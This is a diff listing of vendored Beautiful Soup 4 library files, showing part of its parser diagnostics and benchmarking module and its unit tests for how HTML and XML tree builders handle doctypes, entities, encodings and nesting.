for builder in builder_registry.builders:
|
||||
if name in builder.features:
|
||||
break
|
||||
else:
|
||||
basic_parsers.remove(name)
|
||||
print (
|
||||
"I noticed that %s is not installed. Installing it may help." %
|
||||
name)
|
||||
|
||||
if 'lxml' in basic_parsers:
|
||||
basic_parsers.append(["lxml", "xml"])
|
||||
try:
|
||||
from lxml import etree
|
||||
print "Found lxml version %s" % ".".join(map(str,etree.LXML_VERSION))
|
||||
except ImportError, e:
|
||||
print (
|
||||
"lxml is not installed or couldn't be imported.")
|
||||
|
||||
|
||||
if 'html5lib' in basic_parsers:
|
||||
try:
|
||||
import html5lib
|
||||
print "Found html5lib version %s" % html5lib.__version__
|
||||
except ImportError, e:
|
||||
print (
|
||||
"html5lib is not installed or couldn't be imported.")
|
||||
|
||||
if hasattr(data, 'read'):
|
||||
data = data.read()
|
||||
elif os.path.exists(data):
|
||||
print '"%s" looks like a filename. Reading data from the file.' % data
|
||||
data = open(data).read()
|
||||
elif data.startswith("http:") or data.startswith("https:"):
|
||||
print '"%s" looks like a URL. Beautiful Soup is not an HTTP client.' % data
|
||||
print "You need to use some other library to get the document behind the URL, and feed that document to Beautiful Soup."
|
||||
return
|
||||
print
|
||||
|
||||
for parser in basic_parsers:
|
||||
print "Trying to parse your markup with %s" % parser
|
||||
success = False
|
||||
try:
|
||||
soup = BeautifulSoup(data, parser)
|
||||
success = True
|
||||
except Exception, e:
|
||||
print "%s could not parse the markup." % parser
|
||||
traceback.print_exc()
|
||||
if success:
|
||||
print "Here's what %s did with the markup:" % parser
|
||||
print soup.prettify()
|
||||
|
||||
print "-" * 80
|
||||
|
||||
def lxml_trace(data, html=True, **kwargs):
|
||||
"""Print out the lxml events that occur during parsing.
|
||||
|
||||
This lets you see how lxml parses a document when no Beautiful
|
||||
Soup code is running.
|
||||
"""
|
||||
from lxml import etree
|
||||
for event, element in etree.iterparse(StringIO(data), html=html, **kwargs):
|
||||
print("%s, %4s, %s" % (event, element.tag, element.text))
|
||||
|
||||
class AnnouncingParser(HTMLParser):
|
||||
"""Announces HTMLParser parse events, without doing anything else."""
|
||||
|
||||
def _p(self, s):
|
||||
print(s)
|
||||
|
||||
def handle_starttag(self, name, attrs):
|
||||
self._p("%s START" % name)
|
||||
|
||||
def handle_endtag(self, name):
|
||||
self._p("%s END" % name)
|
||||
|
||||
def handle_data(self, data):
|
||||
self._p("%s DATA" % data)
|
||||
|
||||
def handle_charref(self, name):
|
||||
self._p("%s CHARREF" % name)
|
||||
|
||||
def handle_entityref(self, name):
|
||||
self._p("%s ENTITYREF" % name)
|
||||
|
||||
def handle_comment(self, data):
|
||||
self._p("%s COMMENT" % data)
|
||||
|
||||
def handle_decl(self, data):
|
||||
self._p("%s DECL" % data)
|
||||
|
||||
def unknown_decl(self, data):
|
||||
self._p("%s UNKNOWN-DECL" % data)
|
||||
|
||||
def handle_pi(self, data):
|
||||
self._p("%s PI" % data)
|
||||
|
||||
def htmlparser_trace(data):
|
||||
"""Print out the HTMLParser events that occur during parsing.
|
||||
|
||||
This lets you see how HTMLParser parses a document when no
|
||||
Beautiful Soup code is running.
|
||||
"""
|
||||
parser = AnnouncingParser()
|
||||
parser.feed(data)
|
||||
|
||||
_vowels = "aeiou"
|
||||
_consonants = "bcdfghjklmnpqrstvwxyz"
|
||||
|
||||
def rword(length=5):
|
||||
"Generate a random word-like string."
|
||||
s = ''
|
||||
for i in range(length):
|
||||
if i % 2 == 0:
|
||||
t = _consonants
|
||||
else:
|
||||
t = _vowels
|
||||
s += random.choice(t)
|
||||
return s
|
||||
|
||||
def rsentence(length=4):
|
||||
"Generate a random sentence-like string."
|
||||
return " ".join(rword(random.randint(4,9)) for i in range(length))
|
||||
|
||||
def rdoc(num_elements=1000):
|
||||
"""Randomly generate an invalid HTML document."""
|
||||
tag_names = ['p', 'div', 'span', 'i', 'b', 'script', 'table']
|
||||
elements = []
|
||||
for i in range(num_elements):
|
||||
choice = random.randint(0,3)
|
||||
if choice == 0:
|
||||
# New tag.
|
||||
tag_name = random.choice(tag_names)
|
||||
elements.append("<%s>" % tag_name)
|
||||
elif choice == 1:
|
||||
elements.append(rsentence(random.randint(1,4)))
|
||||
elif choice == 2:
|
||||
# Close a tag.
|
||||
tag_name = random.choice(tag_names)
|
||||
elements.append("</%s>" % tag_name)
|
||||
return "<html>" + "\n".join(elements) + "</html>"
|
||||
|
||||
def benchmark_parsers(num_elements=100000):
|
||||
"""Very basic head-to-head performance benchmark."""
|
||||
print "Comparative parser benchmark on Beautiful Soup %s" % __version__
|
||||
data = rdoc(num_elements)
|
||||
print "Generated a large invalid HTML document (%d bytes)." % len(data)
|
||||
|
||||
for parser in ["lxml", ["lxml", "html"], "html5lib", "html.parser"]:
|
||||
success = False
|
||||
try:
|
||||
a = time.time()
|
||||
soup = BeautifulSoup(data, parser)
|
||||
b = time.time()
|
||||
success = True
|
||||
except Exception, e:
|
||||
print "%s could not parse the markup." % parser
|
||||
traceback.print_exc()
|
||||
if success:
|
||||
print "BS4+%s parsed the markup in %.2fs." % (parser, b-a)
|
||||
|
||||
from lxml import etree
|
||||
a = time.time()
|
||||
etree.HTML(data)
|
||||
b = time.time()
|
||||
print "Raw lxml parsed the markup in %.2fs." % (b-a)
|
||||
|
||||
import html5lib
|
||||
parser = html5lib.HTMLParser()
|
||||
a = time.time()
|
||||
parser.parse(data)
|
||||
b = time.time()
|
||||
print "Raw html5lib parsed the markup in %.2fs." % (b-a)
|
||||
|
||||
def profile(num_elements=100000, parser="lxml"):
|
||||
|
||||
filehandle = tempfile.NamedTemporaryFile()
|
||||
filename = filehandle.name
|
||||
|
||||
data = rdoc(num_elements)
|
||||
vars = dict(bs4=bs4, data=data, parser=parser)
|
||||
cProfile.runctx('bs4.BeautifulSoup(data, parser)' , vars, vars, filename)
|
||||
|
||||
stats = pstats.Stats(filename)
|
||||
# stats.strip_dirs()
|
||||
stats.sort_stats("cumulative")
|
||||
stats.print_stats('_html5lib|bs4', 50)
|
||||
|
||||
if __name__ == '__main__':
|
||||
diagnose(sys.stdin.read())
|
||||
1713
PortalAuth/includes/scripts/libs/bs4/element.py
Executable file
1713
PortalAuth/includes/scripts/libs/bs4/element.py
Executable file
File diff suppressed because it is too large
Load Diff
680
PortalAuth/includes/scripts/libs/bs4/testing.py
Executable file
680
PortalAuth/includes/scripts/libs/bs4/testing.py
Executable file
@@ -0,0 +1,680 @@
|
||||
"""Helper classes for tests."""
|
||||
|
||||
import pickle
|
||||
import copy
|
||||
import functools
|
||||
import unittest
|
||||
from unittest import TestCase
|
||||
from bs4 import BeautifulSoup
|
||||
from bs4.element import (
|
||||
CharsetMetaAttributeValue,
|
||||
Comment,
|
||||
ContentMetaAttributeValue,
|
||||
Doctype,
|
||||
SoupStrainer,
|
||||
)
|
||||
|
||||
from bs4.builder import HTMLParserTreeBuilder
|
||||
default_builder = HTMLParserTreeBuilder
|
||||
|
||||
|
||||
class SoupTest(unittest.TestCase):
|
||||
|
||||
@property
|
||||
def default_builder(self):
|
||||
return default_builder()
|
||||
|
||||
def soup(self, markup, **kwargs):
|
||||
"""Build a Beautiful Soup object from markup."""
|
||||
builder = kwargs.pop('builder', self.default_builder)
|
||||
return BeautifulSoup(markup, builder=builder, **kwargs)
|
||||
|
||||
def document_for(self, markup):
|
||||
"""Turn an HTML fragment into a document.
|
||||
|
||||
The details depend on the builder.
|
||||
"""
|
||||
return self.default_builder.test_fragment_to_document(markup)
|
||||
|
||||
def assertSoupEquals(self, to_parse, compare_parsed_to=None):
|
||||
builder = self.default_builder
|
||||
obj = BeautifulSoup(to_parse, builder=builder)
|
||||
if compare_parsed_to is None:
|
||||
compare_parsed_to = to_parse
|
||||
|
||||
self.assertEqual(obj.decode(), self.document_for(compare_parsed_to))
|
||||
|
||||
def assertConnectedness(self, element):
|
||||
"""Ensure that next_element and previous_element are properly
|
||||
set for all descendants of the given element.
|
||||
"""
|
||||
earlier = None
|
||||
for e in element.descendants:
|
||||
if earlier:
|
||||
self.assertEqual(e, earlier.next_element)
|
||||
self.assertEqual(earlier, e.previous_element)
|
||||
earlier = e
|
||||
|
||||
class HTMLTreeBuilderSmokeTest(object):
|
||||
|
||||
"""A basic test of a treebuilder's competence.
|
||||
|
||||
Any HTML treebuilder, present or future, should be able to pass
|
||||
these tests. With invalid markup, there's room for interpretation,
|
||||
and different parsers can handle it differently. But with the
|
||||
markup in these tests, there's not much room for interpretation.
|
||||
"""
|
||||
|
||||
def test_pickle_and_unpickle_identity(self):
|
||||
# Pickling a tree, then unpickling it, yields a tree identical
|
||||
# to the original.
|
||||
tree = self.soup("<a><b>foo</a>")
|
||||
dumped = pickle.dumps(tree, 2)
|
||||
loaded = pickle.loads(dumped)
|
||||
self.assertEqual(loaded.__class__, BeautifulSoup)
|
||||
self.assertEqual(loaded.decode(), tree.decode())
|
||||
|
||||
def assertDoctypeHandled(self, doctype_fragment):
|
||||
"""Assert that a given doctype string is handled correctly."""
|
||||
doctype_str, soup = self._document_with_doctype(doctype_fragment)
|
||||
|
||||
# Make sure a Doctype object was created.
|
||||
doctype = soup.contents[0]
|
||||
self.assertEqual(doctype.__class__, Doctype)
|
||||
self.assertEqual(doctype, doctype_fragment)
|
||||
self.assertEqual(str(soup)[:len(doctype_str)], doctype_str)
|
||||
|
||||
# Make sure that the doctype was correctly associated with the
|
||||
# parse tree and that the rest of the document parsed.
|
||||
self.assertEqual(soup.p.contents[0], 'foo')
|
||||
|
||||
def _document_with_doctype(self, doctype_fragment):
|
||||
"""Generate and parse a document with the given doctype."""
|
||||
doctype = '<!DOCTYPE %s>' % doctype_fragment
|
||||
markup = doctype + '\n<p>foo</p>'
|
||||
soup = self.soup(markup)
|
||||
return doctype, soup
|
||||
|
||||
def test_normal_doctypes(self):
|
||||
"""Make sure normal, everyday HTML doctypes are handled correctly."""
|
||||
self.assertDoctypeHandled("html")
|
||||
self.assertDoctypeHandled(
|
||||
'html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"')
|
||||
|
||||
def test_empty_doctype(self):
|
||||
soup = self.soup("<!DOCTYPE>")
|
||||
doctype = soup.contents[0]
|
||||
self.assertEqual("", doctype.strip())
|
||||
|
||||
def test_public_doctype_with_url(self):
|
||||
doctype = 'html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"'
|
||||
self.assertDoctypeHandled(doctype)
|
||||
|
||||
def test_system_doctype(self):
|
||||
self.assertDoctypeHandled('foo SYSTEM "http://www.example.com/"')
|
||||
|
||||
def test_namespaced_system_doctype(self):
|
||||
# We can handle a namespaced doctype with a system ID.
|
||||
self.assertDoctypeHandled('xsl:stylesheet SYSTEM "htmlent.dtd"')
|
||||
|
||||
def test_namespaced_public_doctype(self):
|
||||
# Test a namespaced doctype with a public id.
|
||||
self.assertDoctypeHandled('xsl:stylesheet PUBLIC "htmlent.dtd"')
|
||||
|
||||
def test_real_xhtml_document(self):
|
||||
"""A real XHTML document should come out more or less the same as it went in."""
|
||||
markup = b"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head><title>Hello.</title></head>
|
||||
<body>Goodbye.</body>
|
||||
</html>"""
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(
|
||||
soup.encode("utf-8").replace(b"\n", b""),
|
||||
markup.replace(b"\n", b""))
|
||||
|
||||
def test_processing_instruction(self):
|
||||
markup = b"""<?PITarget PIContent?>"""
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(markup, soup.encode("utf8"))
|
||||
|
||||
def test_deepcopy(self):
|
||||
"""Make sure you can copy the tree builder.
|
||||
|
||||
This is important because the builder is part of a
|
||||
BeautifulSoup object, and we want to be able to copy that.
|
||||
"""
|
||||
copy.deepcopy(self.default_builder)
|
||||
|
||||
def test_p_tag_is_never_empty_element(self):
|
||||
"""A <p> tag is never designated as an empty-element tag.
|
||||
|
||||
Even if the markup shows it as an empty-element tag, it
|
||||
shouldn't be presented that way.
|
||||
"""
|
||||
soup = self.soup("<p/>")
|
||||
self.assertFalse(soup.p.is_empty_element)
|
||||
self.assertEqual(str(soup.p), "<p></p>")
|
||||
|
||||
def test_unclosed_tags_get_closed(self):
|
||||
"""A tag that's not closed by the end of the document should be closed.
|
||||
|
||||
This applies to all tags except empty-element tags.
|
||||
"""
|
||||
self.assertSoupEquals("<p>", "<p></p>")
|
||||
self.assertSoupEquals("<b>", "<b></b>")
|
||||
|
||||
self.assertSoupEquals("<br>", "<br/>")
|
||||
|
||||
def test_br_is_always_empty_element_tag(self):
|
||||
"""A <br> tag is designated as an empty-element tag.
|
||||
|
||||
Some parsers treat <br></br> as one <br/> tag, some parsers as
|
||||
two tags, but it should always be an empty-element tag.
|
||||
"""
|
||||
soup = self.soup("<br></br>")
|
||||
self.assertTrue(soup.br.is_empty_element)
|
||||
self.assertEqual(str(soup.br), "<br/>")
|
||||
|
||||
def test_nested_formatting_elements(self):
|
||||
self.assertSoupEquals("<em><em></em></em>")
|
||||
|
||||
def test_double_head(self):
|
||||
html = '''<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Ordinary HEAD element test</title>
|
||||
</head>
|
||||
<script type="text/javascript">
|
||||
alert("Help!");
|
||||
</script>
|
||||
<body>
|
||||
Hello, world!
|
||||
</body>
|
||||
</html>
|
||||
'''
|
||||
soup = self.soup(html)
|
||||
self.assertEqual("text/javascript", soup.find('script')['type'])
|
||||
|
||||
def test_comment(self):
|
||||
# Comments are represented as Comment objects.
|
||||
markup = "<p>foo<!--foobar-->baz</p>"
|
||||
self.assertSoupEquals(markup)
|
||||
|
||||
soup = self.soup(markup)
|
||||
comment = soup.find(text="foobar")
|
||||
self.assertEqual(comment.__class__, Comment)
|
||||
|
||||
# The comment is properly integrated into the tree.
|
||||
foo = soup.find(text="foo")
|
||||
self.assertEqual(comment, foo.next_element)
|
||||
baz = soup.find(text="baz")
|
||||
self.assertEqual(comment, baz.previous_element)
|
||||
|
||||
def test_preserved_whitespace_in_pre_and_textarea(self):
|
||||
"""Whitespace must be preserved in <pre> and <textarea> tags."""
|
||||
self.assertSoupEquals("<pre> </pre>")
|
||||
self.assertSoupEquals("<textarea> woo </textarea>")
|
||||
|
||||
def test_nested_inline_elements(self):
|
||||
"""Inline elements can be nested indefinitely."""
|
||||
b_tag = "<b>Inside a B tag</b>"
|
||||
self.assertSoupEquals(b_tag)
|
||||
|
||||
nested_b_tag = "<p>A <i>nested <b>tag</b></i></p>"
|
||||
self.assertSoupEquals(nested_b_tag)
|
||||
|
||||
double_nested_b_tag = "<p>A <a>doubly <i>nested <b>tag</b></i></a></p>"
|
||||
self.assertSoupEquals(nested_b_tag)
|
||||
|
||||
def test_nested_block_level_elements(self):
|
||||
"""Block elements can be nested."""
|
||||
soup = self.soup('<blockquote><p><b>Foo</b></p></blockquote>')
|
||||
blockquote = soup.blockquote
|
||||
self.assertEqual(blockquote.p.b.string, 'Foo')
|
||||
self.assertEqual(blockquote.b.string, 'Foo')
|
||||
|
||||
def test_correctly_nested_tables(self):
|
||||
"""One table can go inside another one."""
|
||||
markup = ('<table id="1">'
|
||||
'<tr>'
|
||||
"<td>Here's another table:"
|
||||
'<table id="2">'
|
||||
'<tr><td>foo</td></tr>'
|
||||
'</table></td>')
|
||||
|
||||
self.assertSoupEquals(
|
||||
markup,
|
||||
'<table id="1"><tr><td>Here\'s another table:'
|
||||
'<table id="2"><tr><td>foo</td></tr></table>'
|
||||
'</td></tr></table>')
|
||||
|
||||
self.assertSoupEquals(
|
||||
"<table><thead><tr><td>Foo</td></tr></thead>"
|
||||
"<tbody><tr><td>Bar</td></tr></tbody>"
|
||||
"<tfoot><tr><td>Baz</td></tr></tfoot></table>")
|
||||
|
||||
def test_deeply_nested_multivalued_attribute(self):
|
||||
# html5lib can set the attributes of the same tag many times
|
||||
# as it rearranges the tree. This has caused problems with
|
||||
# multivalued attributes.
|
||||
markup = '<table><div><div class="css"></div></div></table>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(["css"], soup.div.div['class'])
|
||||
|
||||
def test_multivalued_attribute_on_html(self):
|
||||
# html5lib uses a different API to set the attributes ot the
|
||||
# <html> tag. This has caused problems with multivalued
|
||||
# attributes.
|
||||
markup = '<html class="a b"></html>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(["a", "b"], soup.html['class'])
|
||||
|
||||
def test_angle_brackets_in_attribute_values_are_escaped(self):
|
||||
self.assertSoupEquals('<a b="<a>"></a>', '<a b="<a>"></a>')
|
||||
|
||||
def test_entities_in_attributes_converted_to_unicode(self):
|
||||
expect = u'<p id="pi\N{LATIN SMALL LETTER N WITH TILDE}ata"></p>'
|
||||
self.assertSoupEquals('<p id="piñata"></p>', expect)
|
||||
self.assertSoupEquals('<p id="piñata"></p>', expect)
|
||||
self.assertSoupEquals('<p id="piñata"></p>', expect)
|
||||
self.assertSoupEquals('<p id="piñata"></p>', expect)
|
||||
|
||||
def test_entities_in_text_converted_to_unicode(self):
|
||||
expect = u'<p>pi\N{LATIN SMALL LETTER N WITH TILDE}ata</p>'
|
||||
self.assertSoupEquals("<p>piñata</p>", expect)
|
||||
self.assertSoupEquals("<p>piñata</p>", expect)
|
||||
self.assertSoupEquals("<p>piñata</p>", expect)
|
||||
self.assertSoupEquals("<p>piñata</p>", expect)
|
||||
|
||||
def test_quot_entity_converted_to_quotation_mark(self):
|
||||
self.assertSoupEquals("<p>I said "good day!"</p>",
|
||||
'<p>I said "good day!"</p>')
|
||||
|
||||
def test_out_of_range_entity(self):
|
||||
expect = u"\N{REPLACEMENT CHARACTER}"
|
||||
self.assertSoupEquals("�", expect)
|
||||
self.assertSoupEquals("�", expect)
|
||||
self.assertSoupEquals("�", expect)
|
||||
|
||||
def test_multipart_strings(self):
|
||||
"Mostly to prevent a recurrence of a bug in the html5lib treebuilder."
|
||||
soup = self.soup("<html><h2>\nfoo</h2><p></p></html>")
|
||||
self.assertEqual("p", soup.h2.string.next_element.name)
|
||||
self.assertEqual("p", soup.p.name)
|
||||
self.assertConnectedness(soup)
|
||||
|
||||
def test_head_tag_between_head_and_body(self):
|
||||
"Prevent recurrence of a bug in the html5lib treebuilder."
|
||||
content = """<html><head></head>
|
||||
<link></link>
|
||||
<body>foo</body>
|
||||
</html>
|
||||
"""
|
||||
soup = self.soup(content)
|
||||
self.assertNotEqual(None, soup.html.body)
|
||||
self.assertConnectedness(soup)
|
||||
|
||||
def test_multiple_copies_of_a_tag(self):
|
||||
"Prevent recurrence of a bug in the html5lib treebuilder."
|
||||
content = """<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<article id="a" >
|
||||
<div><a href="1"></div>
|
||||
<footer>
|
||||
<a href="2"></a>
|
||||
</footer>
|
||||
</article>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
soup = self.soup(content)
|
||||
self.assertConnectedness(soup.article)
|
||||
|
||||
def test_basic_namespaces(self):
|
||||
"""Parsers don't need to *understand* namespaces, but at the
|
||||
very least they should not choke on namespaces or lose
|
||||
data."""
|
||||
|
||||
markup = b'<html xmlns="http://www.w3.org/1999/xhtml" xmlns:mathml="http://www.w3.org/1998/Math/MathML" xmlns:svg="http://www.w3.org/2000/svg"><head></head><body><mathml:msqrt>4</mathml:msqrt><b svg:fill="red"></b></body></html>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(markup, soup.encode())
|
||||
html = soup.html
|
||||
self.assertEqual('http://www.w3.org/1999/xhtml', soup.html['xmlns'])
|
||||
self.assertEqual(
|
||||
'http://www.w3.org/1998/Math/MathML', soup.html['xmlns:mathml'])
|
||||
self.assertEqual(
|
||||
'http://www.w3.org/2000/svg', soup.html['xmlns:svg'])
|
||||
|
||||
def test_multivalued_attribute_value_becomes_list(self):
|
||||
markup = b'<a class="foo bar">'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(['foo', 'bar'], soup.a['class'])
|
||||
|
||||
#
|
||||
# Generally speaking, tests below this point are more tests of
|
||||
# Beautiful Soup than tests of the tree builders. But parsers are
|
||||
# weird, so we run these tests separately for every tree builder
|
||||
# to detect any differences between them.
|
||||
#
|
||||
|
||||
def test_can_parse_unicode_document(self):
|
||||
# A seemingly innocuous document... but it's in Unicode! And
|
||||
# it contains characters that can't be represented in the
|
||||
# encoding found in the declaration! The horror!
|
||||
markup = u'<html><head><meta encoding="euc-jp"></head><body>Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!</body>'
|
||||
soup = self.soup(markup)
|
||||
self.assertEqual(u'Sacr\xe9 bleu!', soup.body.string)
|
||||
|
||||
def test_soupstrainer(self):
|
||||
"""Parsers should be able to work with SoupStrainers."""
|
||||
strainer = SoupStrainer("b")
|
||||
soup = self.soup("A <b>bold</b> <meta/> <i>statement</i>",
|
||||
parse_only=strainer)
|
||||
self.assertEqual(soup.decode(), "<b>bold</b>")
|
||||
|
||||
def test_single_quote_attribute_values_become_double_quotes(self):
|
||||
self.assertSoupEquals("<foo attr='bar'></foo>",
|
||||
'<foo attr="bar"></foo>')
|
||||
|
||||
def test_attribute_values_with_nested_quotes_are_left_alone(self):
|
||||
text = """<foo attr='bar "brawls" happen'>a</foo>"""
|
||||
self.assertSoupEquals(text)
|
||||
|
||||
def test_attribute_values_with_double_nested_quotes_get_quoted(self):
|
||||
text = """<foo attr='bar "brawls" happen'>a</foo>"""
|
||||
soup = self.soup(text)
|
||||
soup.foo['attr'] = 'Brawls happen at "Bob\'s Bar"'
|
||||
self.assertSoupEquals(
|
||||
soup.foo.decode(),
|
||||
"""<foo attr="Brawls happen at "Bob\'s Bar"">a</foo>""")
|
||||
|
||||
def test_ampersand_in_attribute_value_gets_escaped(self):
|
||||
self.assertSoupEquals('<this is="really messed up & stuff"></this>',
|
||||
'<this is="really messed up & stuff"></this>')
|
||||
|
||||
self.assertSoupEquals(
|
||||
'<a href="http://example.org?a=1&b=2;3">foo</a>',
|
||||
'<a href="http://example.org?a=1&b=2;3">foo</a>')
|
||||
|
||||
def test_escaped_ampersand_in_attribute_value_is_left_alone(self):
|
||||
self.assertSoupEquals('<a href="http://example.org?a=1&b=2;3"></a>')
|
||||
|
||||
def test_entities_in_strings_converted_during_parsing(self):
|
||||
# Both XML and HTML entities are converted to Unicode characters
|
||||
# during parsing.
|
||||
text = "<p><<sacré bleu!>></p>"
|
||||
expected = u"<p><<sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!>></p>"
|
||||
self.assertSoupEquals(text, expected)
|
||||
|
||||
def test_smart_quotes_converted_on_the_way_in(self):
|
||||
# Microsoft smart quotes are converted to Unicode characters during
|
||||
# parsing.
|
||||
quote = b"<p>\x91Foo\x92</p>"
|
||||
soup = self.soup(quote)
|
||||
self.assertEqual(
|
||||
soup.p.string,
|
||||
u"\N{LEFT SINGLE QUOTATION MARK}Foo\N{RIGHT SINGLE QUOTATION MARK}")
|
||||
|
||||
def test_non_breaking_spaces_converted_on_the_way_in(self):
|
||||
soup = self.soup("<a> </a>")
|
||||
self.assertEqual(soup.a.string, u"\N{NO-BREAK SPACE}" * 2)
|
||||
|
||||
def test_entities_converted_on_the_way_out(self):
|
||||
text = "<p><<sacré bleu!>></p>"
|
||||
expected = u"<p><<sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!>></p>".encode("utf-8")
|
||||
soup = self.soup(text)
|
||||
self.assertEqual(soup.p.encode("utf-8"), expected)
|
||||
|
||||
def test_real_iso_latin_document(self):
|
||||
# Smoke test of interrelated functionality, using an
|
||||
# easy-to-understand document.
|
||||
|
||||
# Here it is in Unicode. Note that it claims to be in ISO-Latin-1.
|
||||
unicode_html = u'<html><head><meta content="text/html; charset=ISO-Latin-1" http-equiv="Content-type"/></head><body><p>Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!</p></body></html>'
|
||||
|
||||
# That's because we're going to encode it into ISO-Latin-1, and use
|
||||
# that to test.
|
||||
iso_latin_html = unicode_html.encode("iso-8859-1")
|
||||
|
||||
# Parse the ISO-Latin-1 HTML.
|
||||
soup = self.soup(iso_latin_html)
|
||||
# Encode it to UTF-8.
|
||||
result = soup.encode("utf-8")
|
||||
|
||||
# What do we expect the result to look like? Well, it would
|
||||
# look like unicode_html, except that the META tag would say
|
||||
# UTF-8 instead of ISO-Latin-1.
|
||||
expected = unicode_html.replace("ISO-Latin-1", "utf-8")
|
||||
|
||||
# And, of course, it would be in UTF-8, not Unicode.
|
||||
expected = expected.encode("utf-8")
|
||||
|
||||
# Ta-da!
|
||||
self.assertEqual(result, expected)
|
||||
|
||||
def test_real_shift_jis_document(self):
|
||||
# Smoke test to make sure the parser can handle a document in
|
||||
# Shift-JIS encoding, without choking.
|
||||
shift_jis_html = (
|
||||
b'<html><head></head><body><pre>'
|
||||
b'\x82\xb1\x82\xea\x82\xcdShift-JIS\x82\xc5\x83R\x81[\x83f'
|
||||
b'\x83B\x83\x93\x83O\x82\xb3\x82\xea\x82\xbd\x93\xfa\x96{\x8c'
|
||||
b'\xea\x82\xcc\x83t\x83@\x83C\x83\x8b\x82\xc5\x82\xb7\x81B'
|
||||
b'</pre></body></html>')
|
||||
unicode_html = shift_jis_html.decode("shift-jis")
|
||||
soup = self.soup(unicode_html)
|
||||
|
||||
# Make sure the parse tree is correctly encoded to various
|
||||
# encodings.
|
||||
self.assertEqual(soup.encode("utf-8"), unicode_html.encode("utf-8"))
|
||||
self.assertEqual(soup.encode("euc_jp"), unicode_html.encode("euc_jp"))
|
||||
|
||||
def test_real_hebrew_document(self):
|
||||
# A real-world test to make sure we can convert ISO-8859-9 (a
|
||||
# Hebrew encoding) to UTF-8.
|
||||
hebrew_document = b'<html><head><title>Hebrew (ISO 8859-8) in Visual Directionality</title></head><body><h1>Hebrew (ISO 8859-8) in Visual Directionality</h1>\xed\xe5\xec\xf9</body></html>'
|
||||
soup = self.soup(
|
||||
hebrew_document, from_encoding="iso8859-8")
|
||||
self.assertEqual(soup.original_encoding, 'iso8859-8')
|
||||
self.assertEqual(
|
||||
soup.encode('utf-8'),
|
||||
hebrew_document.decode("iso8859-8").encode("utf-8"))
|
||||
|
||||
def test_meta_tag_reflects_current_encoding(self):
|
||||
# Here's the <meta> tag saying that a document is
|
||||
# encoded in Shift-JIS.
|
||||
meta_tag = ('<meta content="text/html; charset=x-sjis" '
|
||||
'http-equiv="Content-type"/>')
|
||||
|
||||
# Here's a document incorporating that meta tag.
|
||||
shift_jis_html = (
|
||||
'<html><head>\n%s\n'
|
||||
'<meta http-equiv="Content-language" content="ja"/>'
|
||||
'</head><body>Shift-JIS markup goes here.') % meta_tag
|
||||
soup = self.soup(shift_jis_html)
|
||||
|
||||
# Parse the document, and the charset is seemingly unaffected.
|
||||
parsed_meta = soup.find('meta', {'http-equiv': 'Content-type'})
|
||||
content = parsed_meta['content']
|
||||
self.assertEqual('text/html; charset=x-sjis', content)
|
||||
|
||||
# But that value is actually a ContentMetaAttributeValue object.
|
||||
self.assertTrue(isinstance(content, ContentMetaAttributeValue))
|
||||
|
||||
# And it will take on a value that reflects its current
|
||||
# encoding.
|
||||
self.assertEqual('text/html; charset=utf8', content.encode("utf8"))
|
||||
|
||||
# For the rest of the story, see TestSubstitutions in
|
||||
# test_tree.py.
|
||||
|
||||
def test_html5_style_meta_tag_reflects_current_encoding(self):
|
||||
# Here's the <meta> tag saying that a document is
|
||||
# encoded in Shift-JIS.
|
||||
meta_tag = ('<meta id="encoding" charset="x-sjis" />')
|
||||
|
||||
# Here's a document incorporating that meta tag.
|
||||
shift_jis_html = (
|
||||
'<html><head>\n%s\n'
|
||||
'<meta http-equiv="Content-language" content="ja"/>'
|
||||
'</head><body>Shift-JIS markup goes here.') % meta_tag
|
||||
soup = self.soup(shift_jis_html)
|
||||
|
||||
# Parse the document, and the charset is seemingly unaffected.
|
||||
parsed_meta = soup.find('meta', id="encoding")
|
||||
charset = parsed_meta['charset']
|
||||
self.assertEqual('x-sjis', charset)
|
||||
|
||||
# But that value is actually a CharsetMetaAttributeValue object.
|
||||
self.assertTrue(isinstance(charset, CharsetMetaAttributeValue))
|
||||
|
||||
# And it will take on a value that reflects its current
|
||||
# encoding.
|
||||
self.assertEqual('utf8', charset.encode("utf8"))
|
||||
|
||||
def test_tag_with_no_attributes_can_have_attributes_added(self):
|
||||
data = self.soup("<a>text</a>")
|
||||
data.a['foo'] = 'bar'
|
||||
self.assertEqual('<a foo="bar">text</a>', data.a.decode())
|
||||
|
||||
class XMLTreeBuilderSmokeTest(object):
|
||||
|
||||
def test_pickle_and_unpickle_identity(self):
|
||||
# Pickling a tree, then unpickling it, yields a tree identical
|
||||
# to the original.
|
||||
tree = self.soup("<a><b>foo</a>")
|
||||
dumped = pickle.dumps(tree, 2)
|
||||
loaded = pickle.loads(dumped)
|
||||
self.assertEqual(loaded.__class__, BeautifulSoup)
|
||||
self.assertEqual(loaded.decode(), tree.decode())
|
||||
|
||||
def test_docstring_generated(self):
|
||||
soup = self.soup("<root/>")
|
||||
self.assertEqual(
|
||||
soup.encode(), b'<?xml version="1.0" encoding="utf-8"?>\n<root/>')
|
||||
|
||||
def test_real_xhtml_document(self):
|
||||
"""A real XHTML document should come out *exactly* the same as it went in."""
|
||||
markup = b"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head><title>Hello.</title></head>
|
||||
<body>Goodbye.</body>
|
||||
</html>"""
|
||||
soup = self.soup(markup)
|
||||
